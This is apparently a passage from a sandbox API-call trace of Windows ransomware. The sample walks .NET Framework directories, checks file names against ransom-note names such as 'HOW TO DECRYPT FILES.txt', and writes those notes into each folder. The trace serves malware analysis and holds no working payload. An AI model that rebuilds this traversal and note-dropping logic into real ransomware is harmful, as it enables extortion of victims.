lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName=".", cAlternateFileName="")) returned 0x502598 [0136.993] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.993] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x640000, cFileName="..", cAlternateFileName="")) returned 1 [0137.002] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.002] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.002] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a3f8e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59386820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59386820, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0137.002] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0137.002] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0137.002] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.002] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="1033" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033" [0137.003] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a3f8e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59386820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59386820, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.005] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.005] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a3f8e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59386820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59386820, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.005] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.005] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.005] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56ff7f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8aa0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="alinkui.dll", cAlternateFileName="")) returned 1 [0137.005] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alinkui.dll") returned 1 [0137.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alinkui.dll") returned 1 [0137.005] lstrcmpiA (lpString1="", lpString2="alinkui.dll") returned -1 [0137.006] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\*.*") returned="*.*" [0137.006] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" [0137.006] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="" [0137.006] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" [0137.006] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt")) returned 0xffffffff [0137.006] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0137.008] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.008] CloseHandle (hObject=0x90) returned 1 [0137.008] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="alinkui.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\alinkui.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\alinkui.dll" [0137.009] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5901a880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x31c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="cscui.dll", cAlternateFileName="")) returned 1 [0137.009] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.009] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cscui.dll") returned 1 [0137.009] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cscui.dll") returned 1 [0137.009] lstrcmpiA (lpString1="", lpString2="cscui.dll") returned -1 [0137.009] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\alinkui.dll") returned="alinkui.dll" [0137.009] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" [0137.009] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="" [0137.009] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" [0137.009] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt")) returned 0x20 [0137.009] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="cscui.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\cscui.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\cscui.dll" [0137.009] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x682bbe00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x590d8f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x682bbe00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0x4f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="CvtResUI.dll", cAlternateFileName="")) returned 1 [0137.009] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.009] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CvtResUI.dll") returned 1 [0137.009] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CvtResUI.dll") returned 1 [0137.009] lstrcmpiA (lpString1="", lpString2="CvtResUI.dll") returned -1 [0137.009] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\cscui.dll") returned="cscui.dll" [0137.009] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" [0137.009] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="" [0137.009] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" [0137.010] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt")) returned 0x20 [0137.010] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="CvtResUI.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\CvtResUI.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\CvtResUI.dll" [0137.010] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x59386820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x54b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTrackerUI.dll", cAlternateFileName="FILETR~1.DLL")) returned 1 [0137.010] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.010] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FileTrackerUI.dll") returned -1 [0137.010] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FileTrackerUI.dll") returned 1 [0137.010] lstrcmpiA (lpString1="", lpString2="FileTrackerUI.dll") returned -1 [0137.010] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\CvtResUI.dll") returned="CvtResUI.dll" [0137.010] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" [0137.010] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="" [0137.010] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" [0137.010] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt")) returned 0x20 [0137.010] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="FileTrackerUI.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\FileTrackerUI.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\FileTrackerUI.dll" [0137.011] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56e7b1c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x42930, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Activities.CompilerUI.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0137.011] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.011] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Activities.CompilerUI.dll") returned -1 [0137.011] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Activities.CompilerUI.dll") returned -1 [0137.011] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Activities.CompilerUI.dll") returned -1 [0137.011] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\FileTrackerUI.dll") returned="FileTrackerUI.dll" [0137.011] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" [0137.011] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="" [0137.011] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" [0137.011] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt")) returned 0x20 [0137.011] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="Microsoft.VisualBasic.Activities.CompilerUI.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\Microsoft.VisualBasic.Activities.CompilerUI.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\Microsoft.VisualBasic.Activities.CompilerUI.dll" [0137.012] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56ea1320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x42698, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc7ui.dll", cAlternateFileName="")) returned 1 [0137.012] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.012] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc7ui.dll") returned -1 [0137.012] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc7ui.dll") returned -1 [0137.012] lstrcmpiA (lpString1="", lpString2="vbc7ui.dll") returned -1 [0137.012] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\Microsoft.VisualBasic.Activities.CompilerUI.dll") returned="Microsoft.VisualBasic.Activities.CompilerUI.dll" [0137.012] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" [0137.012] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\") returned="" [0137.012] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" [0137.012] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\1033\\how to decrypt files.txt")) returned 0x20 [0137.012] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\", lpString2="vbc7ui.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\vbc7ui.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1033\\vbc7ui.dll" [0137.013] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56ea1320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x42698, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc7ui.dll", cAlternateFileName="")) returned 0 [0137.013] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.013] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f13740, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8ca8, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Accessibility.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0137.013] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.013] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Accessibility.dll") returned 1 [0137.013] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Accessibility.dll") returned 1 [0137.013] lstrcmpiA (lpString1="", lpString2="Accessibility.dll") returned -1 [0137.013] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.013] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.013] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.013] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.013] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0xffffffff [0137.013] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.016] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.016] CloseHandle (hObject=0x8c) returned 1 [0137.016] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="Accessibility.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Accessibility.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Accessibility.dll" [0137.016] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56f398a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInProcess.exe", cAlternateFileName="ADDINP~1.EXE")) returned 1 [0137.016] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.016] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddInProcess.exe") returned 1 [0137.016] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddInProcess.exe") returned 1 [0137.016] lstrcmpiA (lpString1="", lpString2="AddInProcess.exe") returned -1 [0137.017] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Accessibility.dll") returned="Accessibility.dll" [0137.017] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.017] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.017] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.017] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.017] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AddInProcess.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess.exe" [0137.017] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2404cb00, ftCreationTime.dwHighDateTime=0x1ca298a, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2404cb00, 